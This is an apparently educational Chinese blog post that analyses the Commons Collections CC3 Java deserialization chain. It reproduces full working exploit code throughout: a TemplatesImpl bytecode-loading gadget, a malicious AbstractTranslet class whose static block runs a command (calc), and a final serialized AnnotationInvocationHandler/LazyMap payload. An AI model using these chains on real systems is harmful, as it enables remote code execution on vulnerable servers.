Java反序列化CC3链 链子分析 CC1和CC6都是直接命令调用,而CC3、CC2、CC4这些都是通过动态类加载来实现
TemplatesImpl解析 ClassLoader里面的loadclass
loadclass会调用findclass
findclass会调用到defineclass
1 2 3 4 5 protected final Class<?> defineClass(byte [] b, int off, int len) throws ClassFormatError { return defineClass(null , b, off, len, null ); }
这个意思是从字节里面加载一个类
我们需要找到一个调用它重写它的地方
最后找到
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
这里没有protect,也就是说可以被任意调用,然后可以看是哪里调用了这个
但是这个函数是私有的,我们反过去找看哪里是public,
这里有三个,我们依次看一下返回了什么
第一个
1 2 3 4 5 6 7 8 9 private synchronized Class[] getTransletClasses() { try { if (_class == null ) defineTransletClasses(); } catch (TransformerConfigurationException e) { } return _class; }
返回了一个类
第二个
1 2 3 4 5 6 7 8 9 public synchronized int getTransletIndex () { try { if (_class == null ) defineTransletClasses(); } catch (TransformerConfigurationException e) { } return _transletIndex; }
返回了一个下标
第三个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
给class赋完值之后调用了一个newInstance(),而newInstance()是一个初始化的过程,也就是说走完这个函数,就可以进行一个命令执行,那么可以重点关注一下这个函数
于是通过这个函数再往回找,找到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
这个函数是一个public
会调用getTransletInstance()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
在这个里面_class[_transletIndex]调用newInstance()
而_class的赋值是在defineTransletClasses()做的
1 2 3 4 5 6 7 8 9 10 11 12 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
_class的赋值通过loader.defineClass加载
那么这条链就可以写一下了
TemplatesImpl利用 先看一下TemplatesImpl这个类,继承了两个接口Templates, Serializable,可以直接序列化
那么我们就可以先new一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.io.*;public class CC3Test { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); templates.newTransformer(); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
然后继续看TemplatesImpl,看哪些需要赋值
看getTransletInstance()这个函数
首先要保证_name 不为空 , _class为空,看一下默认值
再看一下defineTransletClasses()
如果_bytecodes是空就会报异常,所以_bytecodes要赋值
_tfactory要调用方法,所以这个也要赋值
于是我们通过反射先给这三个参数赋值
首先_name赋值
1 2 3 4 Class tc = templates.getClass();Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" );
然后_bytecodes赋值,先看一下是什么类型
再看一下类加载的逻辑
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
也就是说它传的是一个一维的byte数组,可以这样赋值
1 2 3 byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes);
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example;import java.io.IOException;public class Test { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
之后编译一下,放到对应路径下
最后是_tfactory赋值
这是一个transient,也就是一个不可以序列化的变量
在readObject方法中对这个属性赋值了
ok,然后写一下对应赋值代码
1 2 3 Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ());
这时候预期是会弹计算器,我们运行一下试试
报了一个空指针错误,是在422行
看一下defineTransletClasses
下一个断点
在这里它进行了一个父类的判断 判断它父类是不是这个 ABSTRACT_TRANSLET
不是的话会调用下面 _auxClasses.put
那么现在就有两种方法
要么 让它父类 equals ABSTRACT_TRANSLET
要么 让 _auxClasses 不为null 但是我们注意到下面也有一个判断
1 2 3 4 if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); }
如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1 也不得行 还会报错
因此我们应该满足 构造的那个类 父类是 ABSTRACT_TRANSLET
是 abstract抽象类,因此我们也要重写这个类的方法
还有一个tanslate
修改完的Test.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
再执行代码成功弹出计算器
CC1+TemplatesImpl 这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer()
再回顾一下CC1的链子
如果说只过滤了Runtime,那后半段就可以用今天学的这种方式做
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3Test { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
ysoserial 分析
我们利用这个 TemplatesImpl加载恶意类 是通过TemplatesImpl.newTransformer()
我们还可以再往上找找,看有没有什么地方调用了 newTransformer()
首先Process是在main里面写的,是作为一般对象用的,所以不用它
然后getOutputProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用
TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参
至于TrAXFilter,虽然它也是不能序列化的,但是它的构造函数可以传
所以CC3的作者找到了InstantiateTransformer这个类
关键代码如下
意思就是判断传进来这个参数是不是Class类型的,如果是,就获取指定参数类型的构造器,调它的构造函数
看一下它的参数
那么就可以修改写出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3Test { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3Test { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
这里有一个点要注意一下,就是不能直接将LazyMap.decorate里直接换成instantiateTransformer
还是CC1遇见的不可控的问题,所以要用chainedTransformer包裹起来